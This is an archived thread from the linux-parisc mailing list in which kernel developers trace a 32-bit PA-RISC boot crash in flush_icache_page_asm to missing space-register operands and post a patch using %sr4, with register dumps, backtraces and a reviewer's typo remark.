	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id pQ5sv8Z4uhQW; Wed, 16 May 2012 03:57:40 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 3A7168EE081;
	Wed, 16 May 2012 03:57:39 -0700 (PDT)
In-Reply-To: <BLU0-SMTP33D40958DB8FE0DF238A7197180@phx.gbl>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4409
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4409>

On Wed, 2012-05-16 at 06:49 -0400, John David Anglin wrote:
> On 16-May-12, at 3:27 AM, James Bottomley wrote:
> 
> > On Tue, 2012-05-15 at 22:28 +0200, Helge Deller wrote:
> >> On 05/15/2012 10:05 PM, John David Anglin wrote:
> >>> On 5/15/2012 3:59 PM, Helge Deller wrote:
> >>>> On 05/15/2012 09:46 PM, John David Anglin wrote:
> >>>>> On 5/15/2012 3:24 PM, John David Anglin wrote:
> >>>>>> James patch now let my 715/64 boot, but still crashes on my  
> >>>>>> B160L:
> >>>>>>>
> >>>>>>> swapper (pid 1): Illegal instruction (code 8)
> >>>>>>>
> >>>>>>>     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> >>>>>>> PSW: 00000000000001001110000100001111 Not tainted
> >>>>>>> r00-03  0004e10f 00000020 101198cc 17c245c0
> >>>>>>> r04-07  ffeff000 17ec05f8 007d4000 17e60260
> >>>>>>> r08-11  17c5100b fffff000 17e60310 00020000
> >>>>>>> r12-15  00000ffc 0000000b 00000000 ffeff000
> >>>>>>> r16-19  007d4000 10768020 10000000 17c22db8
> >>>>>>> r20-23  17c245c8 108fc000 00000001 00000020
> >>>>>>> r24-27  000007d4 0f2fffe0 0000fa80 106e2020
> >>>>>>> r28-31  0f2ff000 000074ee 17c24640 000072e6
> >>>>>>> sr00-03  00000000 00000001 00000000 00000000
> >>>>>>> sr04-07  00000000 00000000 00000000 00000000
> >>>>>>>
> >>>>>>> IASQ: 00000000 00000000 IAOQ: 1010118c 10101190
> >>>>>>> IIR: 078113e0    ISR: 00000000  IOR: 0f2ff000
> >>>>>>> CPU:        0   CR30: 17c24000 CR31: f0102978
> >>>>>>> ORIG_R28: 17ebbe40
> >>>>>>> IAOQ[0]: flush_icache_page_asm+0x28/0x7c
> >>>>>>> IAOQ[1]: flush_icache_page_asm+0x2c/0x7c
> >>>>>>> RP(r2): flush_cache_page+0x90/0xb0
> >>>>>>> Backtrace:
> >>>>>> This one is in a different place: flush_icache_page_asm.  It has
> >>>>>> crashed on the first fic,m instruction.  Again it is an illegal
> >>>>>> instruction.
> >>>>>>
> >>>>> Looking at the PA 1.1 arch, I see that the space register needs  
> >>>>> to be
> >>>>> explicitly specified on PA 1.1 (format 26).  The implicit  
> >>>>> (format 24)
> >>>>> instruction was added in PA 2.0.
> >>>>>
> >>>>> Could you try adding %sr0 to the fic instructions?
> >>>> no illegal instruction any longer, but "bad address"....
> >>>> I changed all to " fic,m           %r1(%sr0,%r28)"
> >>>>
> >>>>
> >>>>
> >>>> Freeing unused kernel memory: 320k freed
> >>>> Backtrace:
> >>>> [<101198cc>] flush_cache_page+0x90/0xb0
> >>>> [<101b9b84>] do_wp_page+0x1e0/0x7b4
> >>>> [<101bb970>] handle_pte_fault+0x284/0x7c0
> >>>> [<101bbf74>] handle_mm_fault+0xc8/0x120
> >>>> [<10118cc8>] do_page_fault+0x228/0x2d0
> >>>> [<1011a838>] handle_interruption+0x1d4/0x6c4
> >>>> [<10105078>] intr_check_sig+0x0/0x34
> >>>>
> >>>>
> >>>> Bad Address (null pointer deref?): Code=17 regs=17c244c0  
> >>>> (Addr=0f17d000)
> >>>>
> >>>>     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> >>>> PSW: 00000000000001001111100100001111 Not tainted
> >>>> r00-03  0004f90f 00000020 101198cc 17c24440
> >>>> r04-07  4017d4c4 17ebf498 007cd000 007cdb05
> >>>> r08-11  17ebee40 17ec55f4 107eb7c0 10768020
> >>>> r12-15  000007cd 17ebee74 000005f4 00050000
> >>>> r16-19  17c23098 17c24140 0011849c 17c22db8
> >>>> r20-23  0000004b 108fc000 00000000 00000000
> >>>> r24-27  000007cd 0f17dfe0 0000f9a0 106e2020
> >>>> r28-31  0f17d000 17c23098 17c244c0 6fffffff
> >>>> sr00-03  00000800 00000001 00000000 00000001
> >>>> sr04-07  00000000 00000000 00000000 00000000
> >>>>
> >>>> IASQ: 00000000 00000000 IAOQ: 1010118c 10101190
> >>>> IIR: 078102a0    ISR: 00000800  IOR: 0f17d000
> >>>> CPU:        0   CR30: 17c24000 CR31: f0102978
> >>>> ORIG_R28: 17c51000
> >>>> IAOQ[0]: flush_icache_page_asm+0x28/0x7c
> >>>> IAOQ[1]: flush_icache_page_asm+0x2c/0x7c
> >>>> RP(r2): flush_cache_page+0x90/0xb0
> >>>> Backtrace:
> >>>> [<101198cc>] flush_cache_page+0x90/0xb0
> >>>> [<101b9b84>] do_wp_page+0x1e0/0x7b4
> >>>> [<101bb970>] handle_pte_fault+0x284/0x7c0
> >>>> [<101bbf74>] handle_mm_fault+0xc8/0x120
> >>>> [<10118cc8>] do_page_fault+0x228/0x2d0
> >>>> [<1011a838>] handle_interruption+0x1d4/0x6c4
> >>>> [<10105078>] intr_check_sig+0x0/0x34
> >>>>
> >>>>
> >>>>
> >>>>
> >>> Try %sr2 or %sr4.  %sr0 isn't zero.
> >>
> >> Dave, great, you fixed it !
> >> All my machines now boot the 32bit kernel.
> >> %sr2 does not work since it becomes a value unequal to zero later  
> >> in the
> >> boot process.
> >> %sr4 did worked - it's actually used further down in pacache.S in
> >> flush_kernel_icache_page() as well...
> >
> > Right, in the two byte space encoding, which is what we usually do, a
> > zero means use the correct quadrant space register (i.e. %sr4  
> > through %
> > sr7 depending on which quadrant we're in.  Since PA doesn't use
> > quadrants, we keep them all at the space of the context - i.e. zero  
> > for
> > kernel).  The 24 bit form of the instruction has an explicit space
> > requirement, so you have to specify manually, which means just pick  
> > any
> > of %sr4-%sr7 since they're always the same.
> 
> Don't forget to update the purge TLB instructions before and after the  
> loop.

Right, this is what I have currently.

On a related note, do you want me to put you down as author of this,
since you identified the problem?

James

---

As pointed out by serveral people, PA1.1 only has a type 26 instruction
meaning that the space register must be explicitly encoded.  Not giving an
explicit space means that the compiler uses the type 24 version which is PA2.0
only resulting in an illegal instruction crash.

This regression was caused by

    commit f311847c2fcebd81912e2f0caf8a461dec28db41
    Author: James Bottomley <James.Bottomley@HansenPartnership.com>
    Date:   Wed Dec 22 10:22:11 2010 -0600

        parisc: flush pages through tmpalias space

Reported-by: Helge Deller <deller@gmx.de>
Cc: stable@vger.kernel.org	#2.6.39+
Signed-off-by: James Bottomley <JBottomley@Parallels.com>

diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 93ff3d9..f1b4c1c 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -692,7 +692,7 @@ ENTRY(flush_icache_page_asm)
 
 	/* Purge any old translation */
 
-	pitlb		(%sr0,%r28)
+	pitlb		(%sr4,%r28)
 
 	ldil		L%icache_stride, %r1
 	ldw		R%icache_stride(%r1), %r1
@@ -706,27 +706,29 @@ ENTRY(flush_icache_page_asm)
 	sub		%r25, %r1, %r25
 
 
-1:      fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
+	/* fic only has the type 24 form on PA1.1, requiring an
+	 * explicit space specification, so use %sr4 */
+1:      fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
 	cmpb,COND(<<)		%r28, %r25,1b
-	fic,m		%r1(%r28)
+	fic,m		%r1(%sr4,%r28)
 
 	sync
 	bv		%r0(%r2)
-	pitlb		(%sr0,%r25)
+	pitlb		(%sr4,%r25)
 	.exit
 
 	.procend


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Wed, 16 May 2012 07:17:19 -0400
Lines: 236
Approved: news@gmane.org
Message-ID: <BLU0-SMTP74C565E90970B9E6E8D26C97180@phx.gbl>
References: <4FA9975C.5060708@bergerie> <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net> <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl> <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl> <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl> <1337069366.3005.10.camel@dabdike.lan> <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net> <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net> <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de> <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de> <1337153257.2985.3.camel@dabdike.int.hansenpartnership.com> <BLU0-SMTP33D40958DB8FE0DF238A7197180@phx.gbl> <1337165857.2985.36.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337167057 4727 80.91.229.3 (16 May 2012 11:17:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 16 May 2012 11:17:37 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 16 13:17:33 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUcEW-0004Wq-2Q
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 May 2012 13:17:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1030240Ab2EPLRb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 May 2012 07:17:31 -0400
Original-Received: from blu0-omc3-s38.blu0.hotmail.com ([65.55.116.113]:31878 "EHLO
	blu0-omc3-s38.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1030229Ab2EPLRa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 May 2012 07:17:30 -0400
Original-Received: from BLU0-SMTP74 ([65.55.116.74]) by blu0-omc3-s38.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 16 May 2012 04:17:30 -0700
X-Originating-IP: [64.229.85.15]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.85.15]) by BLU0-SMTP74.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 16 May 2012 04:17:29 -0700
In-Reply-To: <1337165857.2985.36.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 16 May 2012 11:17:29.0472 (UTC) FILETIME=[7B22B000:01CD3355]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4410
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4410>

Please add:

Signed-off by:  John David Anglin  <dave.anglin@bell.net>

On 16-May-12, at 6:57 AM, James Bottomley wrote:

> On Wed, 2012-05-16 at 06:49 -0400, John David Anglin wrote:
>> On 16-May-12, at 3:27 AM, James Bottomley wrote:
>>
>>> On Tue, 2012-05-15 at 22:28 +0200, Helge Deller wrote:
>>>> On 05/15/2012 10:05 PM, John David Anglin wrote:
>>>>> On 5/15/2012 3:59 PM, Helge Deller wrote:
>>>>>> On 05/15/2012 09:46 PM, John David Anglin wrote:
>>>>>>> On 5/15/2012 3:24 PM, John David Anglin wrote:
>>>>>>>> James patch now let my 715/64 boot, but still crashes on my
>>>>>>>> B160L:
>>>>>>>>>
>>>>>>>>> swapper (pid 1): Illegal instruction (code 8)
>>>>>>>>>
>>>>>>>>>    YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>>>>>>>>> PSW: 00000000000001001110000100001111 Not tainted
>>>>>>>>> r00-03  0004e10f 00000020 101198cc 17c245c0
>>>>>>>>> r04-07  ffeff000 17ec05f8 007d4000 17e60260
>>>>>>>>> r08-11  17c5100b fffff000 17e60310 00020000
>>>>>>>>> r12-15  00000ffc 0000000b 00000000 ffeff000
>>>>>>>>> r16-19  007d4000 10768020 10000000 17c22db8
>>>>>>>>> r20-23  17c245c8 108fc000 00000001 00000020
>>>>>>>>> r24-27  000007d4 0f2fffe0 0000fa80 106e2020
>>>>>>>>> r28-31  0f2ff000 000074ee 17c24640 000072e6
>>>>>>>>> sr00-03  00000000 00000001 00000000 00000000
>>>>>>>>> sr04-07  00000000 00000000 00000000 00000000
>>>>>>>>>
>>>>>>>>> IASQ: 00000000 00000000 IAOQ: 1010118c 10101190
>>>>>>>>> IIR: 078113e0    ISR: 00000000  IOR: 0f2ff000
>>>>>>>>> CPU:        0   CR30: 17c24000 CR31: f0102978
>>>>>>>>> ORIG_R28: 17ebbe40
>>>>>>>>> IAOQ[0]: flush_icache_page_asm+0x28/0x7c
>>>>>>>>> IAOQ[1]: flush_icache_page_asm+0x2c/0x7c
>>>>>>>>> RP(r2): flush_cache_page+0x90/0xb0
>>>>>>>>> Backtrace:
>>>>>>>> This one is in a different place: flush_icache_page_asm.  It  
>>>>>>>> has
>>>>>>>> crashed on the first fic,m instruction.  Again it is an illegal
>>>>>>>> instruction.
>>>>>>>>
>>>>>>> Looking at the PA 1.1 arch, I see that the space register needs
>>>>>>> to be
>>>>>>> explicitly specified on PA 1.1 (format 26).  The implicit
>>>>>>> (format 24)
>>>>>>> instruction was added in PA 2.0.
>>>>>>>
>>>>>>> Could you try adding %sr0 to the fic instructions?
>>>>>> no illegal instruction any longer, but "bad address"....
>>>>>> I changed all to " fic,m           %r1(%sr0,%r28)"
>>>>>>
>>>>>>
>>>>>>
>>>>>> Freeing unused kernel memory: 320k freed
>>>>>> Backtrace:
>>>>>> [<101198cc>] flush_cache_page+0x90/0xb0
>>>>>> [<101b9b84>] do_wp_page+0x1e0/0x7b4
>>>>>> [<101bb970>] handle_pte_fault+0x284/0x7c0
>>>>>> [<101bbf74>] handle_mm_fault+0xc8/0x120
>>>>>> [<10118cc8>] do_page_fault+0x228/0x2d0
>>>>>> [<1011a838>] handle_interruption+0x1d4/0x6c4
>>>>>> [<10105078>] intr_check_sig+0x0/0x34
>>>>>>
>>>>>>
>>>>>> Bad Address (null pointer deref?): Code=17 regs=17c244c0
>>>>>> (Addr=0f17d000)
>>>>>>
>>>>>>    YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>>>>>> PSW: 00000000000001001111100100001111 Not tainted
>>>>>> r00-03  0004f90f 00000020 101198cc 17c24440
>>>>>> r04-07  4017d4c4 17ebf498 007cd000 007cdb05
>>>>>> r08-11  17ebee40 17ec55f4 107eb7c0 10768020
>>>>>> r12-15  000007cd 17ebee74 000005f4 00050000
>>>>>> r16-19  17c23098 17c24140 0011849c 17c22db8
>>>>>> r20-23  0000004b 108fc000 00000000 00000000
>>>>>> r24-27  000007cd 0f17dfe0 0000f9a0 106e2020
>>>>>> r28-31  0f17d000 17c23098 17c244c0 6fffffff
>>>>>> sr00-03  00000800 00000001 00000000 00000001
>>>>>> sr04-07  00000000 00000000 00000000 00000000
>>>>>>
>>>>>> IASQ: 00000000 00000000 IAOQ: 1010118c 10101190
>>>>>> IIR: 078102a0    ISR: 00000800  IOR: 0f17d000
>>>>>> CPU:        0   CR30: 17c24000 CR31: f0102978
>>>>>> ORIG_R28: 17c51000
>>>>>> IAOQ[0]: flush_icache_page_asm+0x28/0x7c
>>>>>> IAOQ[1]: flush_icache_page_asm+0x2c/0x7c
>>>>>> RP(r2): flush_cache_page+0x90/0xb0
>>>>>> Backtrace:
>>>>>> [<101198cc>] flush_cache_page+0x90/0xb0
>>>>>> [<101b9b84>] do_wp_page+0x1e0/0x7b4
>>>>>> [<101bb970>] handle_pte_fault+0x284/0x7c0
>>>>>> [<101bbf74>] handle_mm_fault+0xc8/0x120
>>>>>> [<10118cc8>] do_page_fault+0x228/0x2d0
>>>>>> [<1011a838>] handle_interruption+0x1d4/0x6c4
>>>>>> [<10105078>] intr_check_sig+0x0/0x34
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>> Try %sr2 or %sr4.  %sr0 isn't zero.
>>>>
>>>> Dave, great, you fixed it !
>>>> All my machines now boot the 32bit kernel.
>>>> %sr2 does not work since it becomes a value unequal to zero later
>>>> in the
>>>> boot process.
>>>> %sr4 did worked - it's actually used further down in pacache.S in
>>>> flush_kernel_icache_page() as well...
>>>
>>> Right, in the two byte space encoding, which is what we usually  
>>> do, a
>>> zero means use the correct quadrant space register (i.e. %sr4
>>> through %
>>> sr7 depending on which quadrant we're in.  Since PA doesn't use
>>> quadrants, we keep them all at the space of the context - i.e. zero
>>> for
>>> kernel).  The 24 bit form of the instruction has an explicit space
>>> requirement, so you have to specify manually, which means just pick
>>> any
>>> of %sr4-%sr7 since they're always the same.
>>
>> Don't forget to update the purge TLB instructions before and after  
>> the
>> loop.
>
> Right, this is what I have currently.
>
> On a related note, do you want me to put you down as author of this,
> since you identified the problem?
>
> James
>
> ---
>
> As pointed out by serveral people, PA1.1 only has a type 26  
> instruction
> meaning that the space register must be explicitly encoded.  Not  
> giving an
> explicit space means that the compiler uses the type 24 version  
> which is PA2.0
> only resulting in an illegal instruction crash.
>
> This regression was caused by
>
>    commit f311847c2fcebd81912e2f0caf8a461dec28db41
>    Author: James Bottomley <James.Bottomley@HansenPartnership.com>
>    Date:   Wed Dec 22 10:22:11 2010 -0600
>
>        parisc: flush pages through tmpalias space
>
> Reported-by: Helge Deller <deller@gmx.de>
> Cc: stable@vger.kernel.org	#2.6.39+
> Signed-off-by: James Bottomley <JBottomley@Parallels.com>
>
> diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/ 
> pacache.S
> index 93ff3d9..f1b4c1c 100644
> --- a/arch/parisc/kernel/pacache.S
> +++ b/arch/parisc/kernel/pacache.S
> @@ -692,7 +692,7 @@ ENTRY(flush_icache_page_asm)
>
> 	/* Purge any old translation */
>
> -	pitlb		(%sr0,%r28)
> +	pitlb		(%sr4,%r28)
>
> 	ldil		L%icache_stride, %r1
> 	ldw		R%icache_stride(%r1), %r1
> @@ -706,27 +706,29 @@ ENTRY(flush_icache_page_asm)
> 	sub		%r25, %r1, %r25
>
>
> -1:      fic,m		%r1(%r28)
> -	fic,m		%r1(%r28)
> -	fic,m		%r1(%r28)
> -	fic,m		%r1(%r28)
> -	fic,m		%r1(%r28)
> -	fic,m		%r1(%r28)
> -	fic,m		%r1(%r28)
> -	fic,m		%r1(%r28)
> -	fic,m		%r1(%r28)
> -	fic,m		%r1(%r28)
> -	fic,m		%r1(%r28)
> -	fic,m		%r1(%r28)
> -	fic,m		%r1(%r28)
> -	fic,m		%r1(%r28)
> -	fic,m		%r1(%r28)
> +	/* fic only has the type 24 form on PA1.1, requiring an
> +	 * explicit space specification, so use %sr4 */
> +1:      fic,m		%r1(%sr4,%r28)
> +	fic,m		%r1(%sr4,%r28)
> +	fic,m		%r1(%sr4,%r28)
> +	fic,m		%r1(%sr4,%r28)
> +	fic,m		%r1(%sr4,%r28)
> +	fic,m		%r1(%sr4,%r28)
> +	fic,m		%r1(%sr4,%r28)
> +	fic,m		%r1(%sr4,%r28)
> +	fic,m		%r1(%sr4,%r28)
> +	fic,m		%r1(%sr4,%r28)
> +	fic,m		%r1(%sr4,%r28)
> +	fic,m		%r1(%sr4,%r28)
> +	fic,m		%r1(%sr4,%r28)
> +	fic,m		%r1(%sr4,%r28)
> +	fic,m		%r1(%sr4,%r28)
> 	cmpb,COND(<<)		%r28, %r25,1b
> -	fic,m		%r1(%r28)
> +	fic,m		%r1(%sr4,%r28)
>
> 	sync
> 	bv		%r0(%r2)
> -	pitlb		(%sr0,%r25)
> +	pitlb		(%sr4,%r25)
> 	.exit
>
> 	.procend
>
>
>


Thanks,
Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Wed, 16 May 2012 13:57:50 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <2e923666713a6289672b48e9fa620f3b.squirrel@webmail.sf-mail.de>
References: <4FA9975C.5060708@bergerie>
    <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>
    <4FAADE2A.9080803@bergerie>
    <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>
    <4FAEE943.2030203@gmx.de>
    <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>
    <4FB182F8.2040403@gmx.de>
    <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>
    <1337069366.3005.10.camel@dabdike.lan>
    <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>
    <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net>
    <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de>
    <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de>
    <1337153257.2985.3.camel@dabdike.int.hansenpartnership.com>
    <BLU0-SMTP33D40958DB8FE0DF238A7197180@phx.gbl>
    <1337165857.2985.36.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1337169479 24384 80.91.229.3 (16 May 2012 11:57:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 16 May 2012 11:57:59 +0000 (UTC)
Cc: "John David Anglin" <dave.anglin@bell.net>,
	"Helge Deller" <deller@gmx.de>,
	"Vincent" <vincent.stehle@laposte.net>,
	linux-parisc@vger.kernel.org
To: "James Bottomley" <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 16 13:57:58 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUcrb-00088s-A4
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 May 2012 13:57:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752211Ab2EPL5y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 May 2012 07:57:54 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:43366 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751239Ab2EPL5y (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 May 2012 07:57:54 -0400
Original-Received: (qmail 10727 invoked by uid 81); 16 May 2012 11:57:51 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Wed, 16 May 2012 13:57:50 +0200
In-Reply-To: <1337165857.2985.36.camel@dabdike.int.hansenpartnership.com>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4411
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4411>

> As pointed out by serveral people, PA1.1 only has a type 26 instruction
> meaning that the space register must be explicitly encoded.  Not giving an
> explicit space means that the compiler uses the type 24 version which is
> PA2.0
> only resulting in an illegal instruction crash.

> +	/* fic only has the type 24 form on PA1.1, requiring an
> +	 * explicit space specification, so use %sr4 */

Once you say 2.0 and once 1.1, I assume the latter is a typo?

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Wed, 16 May 2012 13:24:17 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <1337171057.2985.68.camel@dabdike.int.hansenpartnership.com>
References: <4FA9975C.5060708@bergerie>
	 <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>
	 <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>
	 <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>
	 <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>
	 <1337069366.3005.10.camel@dabdike.lan>
	 <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>
	 <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net>
	 <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de>
	 <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de>
	 <1337153257.2985.3.camel@dabdike.int.hansenpartnership.com>
	 <BLU0-SMTP33D40958DB8FE0DF238A7197180@phx.gbl>
	 <1337165857.2985.36.camel@dabdike.int.hansenpartnership.com>
	 <2e923666713a6289672b48e9fa620f3b.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337171064 5250 80.91.229.3 (16 May 2012 12:24:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 16 May 2012 12:24:24 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Helge Deller <deller@gmx.de>,
	Vincent <vincent.stehle@laposte.net>,
	linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 16 14:24:23 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUdHC-00010U-0c
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 May 2012 14:24:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
